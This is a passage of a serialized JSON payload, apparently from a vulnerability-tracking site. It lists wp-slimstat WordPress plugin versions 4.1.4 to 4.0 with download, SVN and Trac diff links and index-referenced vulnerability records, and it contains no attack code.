vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4812,"download_url":4813,"svn_tag_url":4814,"released_at":39,"has_diff":54,"diff_files_changed":4815,"diff_lines":39,"trac_diff_url":4816,"vulnerabilities":4817,"is_current":54},"4.1.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.1.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.1.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.1.3.2&new_path=%2Fwp-slimstat%2Ftags%2F4.1.4",[4818,4819,4820,4821,4822,4823,4824,4825,4826,4827,4828,4829,4830,4831,4832,4833,4834,4835,4836,4837,4838],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4840,"download_url":4841,"svn_tag_url":4842,"released_at":39,"has_diff":54,"diff_files_changed":4843,"diff_lines":39,"trac_diff_url":4844,"vulnerabilities":4845,"is_current":54},"4.1.3.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.1.3.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.1.3.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.1.3.1&new_path=%2Fwp-slimstat%2Ftags%2F4.1.3.2",[4846,4847,4848,4849,4850,4851,4852,4853,4854,4855,4856,4857,4858,4859,4860,4861,4862,4863,4864,4865,4866],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4868,"download_url":4869,"svn_tag_url":4870,"released_at":39,"has_diff":54,"diff_files_changed":4871,"diff_lines":39,"trac_diff_url":4872,"vulnerabilities":4873,"is_current":54},"4.1.3.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.1.3.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.1.3.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.1.3&new_path=%2Fwp-slimstat%2Ftags%2F4.1.3.1",[4874,4875,4876,4877,4878,4879,4880,4881,4882,4883,4884,4885,4886,4887,4888,4889,4890,4891,4892,4893,4894],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4896,"download_url":4897,"svn_tag_url":4898,"released_at":39,"has_diff":54,"diff_files_changed":4899,"diff_lines":39,"trac_diff_url":4900,"vulnerabilities":4901,"is_current":54},"4.1.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.1.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.1.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.1.2&new_path=%2Fwp-slimstat%2Ftags%2F4.1.3",[4902,4903,4904,4905,4906,4907,4908,4909,4910,4911,4912,4913,4914,4915,4916,4917,4918,4919,4920,4921,4922],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4924,"download_url":4925,"svn_tag_url":4926,"released_at":39,"has_diff":54,"diff_files_changed":4927,"diff_lines":39,"trac_diff_url":4928,"vulnerabilities":4929,"is_current":54},"4.1.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.1.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.1.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.1.1&new_path=%2Fwp-slimstat%2Ftags%2F4.1.2",[4930,4931,4932,4933,4934,4935,4936,4937,4938,4939,4940,4941,4942,4943,4944,4945,4946,4947,4948,4949,4950],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4952,"download_url":4953,"svn_tag_url":4954,"released_at":39,"has_diff":54,"diff_files_changed":4955,"diff_lines":39,"trac_diff_url":4956,"vulnerabilities":4957,"is_current":54},"4.1.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.1.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.1.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.1&new_path=%2Fwp-slimstat%2Ftags%2F4.1.1",[4958,4959,4960,4961,4962,4963,4964,4965,4966,4967,4968,4969,4970,4971,4972,4973,4974,4975,4976,4977,4978],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4980,"download_url":4981,"svn_tag_url":4982,"released_at":39,"has_diff":54,"diff_files_changed":4983,"diff_lines":39,"trac_diff_url":4984,"vulnerabilities":4985,"is_current":54},"4.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.0.2&new_path=%2Fwp-slimstat%2Ftags%2F4.1",[4986,4987,4988,4989,4990,4991,4992,4993,4994,4995,4996,4997,4998,4999,5000,5001,5002,5003,5004,5005,5006],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5008,"download_url":5009,"svn_tag_url":5010,"released_at":39,"has_diff":54,"diff_files_changed":5011,"diff_lines":39,"trac_diff_url":5012,"vulnerabilities":5013,"is_current":54},"4.0.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.0.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.0.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.0.1&new_path=%2Fwp-slimstat%2Ftags%2F4.0.2",[5014,5015,5016,5017,5018,5019,5020,5021,5022,5023,5024,5025,5026,5027,5028,5029,5030,5031,5032,5033,5034],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5036,"download_url":5037,"svn_tag_url":5038,"released_at":39,"has_diff":54,"diff_files_changed":5039,"diff_lines":39,"trac_diff_url":5040,"vulnerabilities":5041,"is_current":54},"4.0.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.0.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.0.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.0&new_path=%2Fwp-slimstat%2Ftags%2F4.0.1",[5042,5043,5044,5045,5046,5047,5048,5049,5050,5051,5052,5053,5054,5055,5056,5057,5058,5059,5060,5061,5062],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5064,"download_url":5065,"svn_tag_url":5066,"released_at":39,"has_diff":54,"diff_files_changed":5067,"diff_lines":39,"trac_diff_url":5068,"vulnerabilities":5069,"is_current":54},"4.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.9.9&new_path=%2Fwp-slimstat%2Ftags%2F4.0",[5070,5071,5072,5073,5074,5075,5076,5077,5078,5079,5080,5081,5082,5083,5084,5085,5086,5087,5088,5089,5090],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"v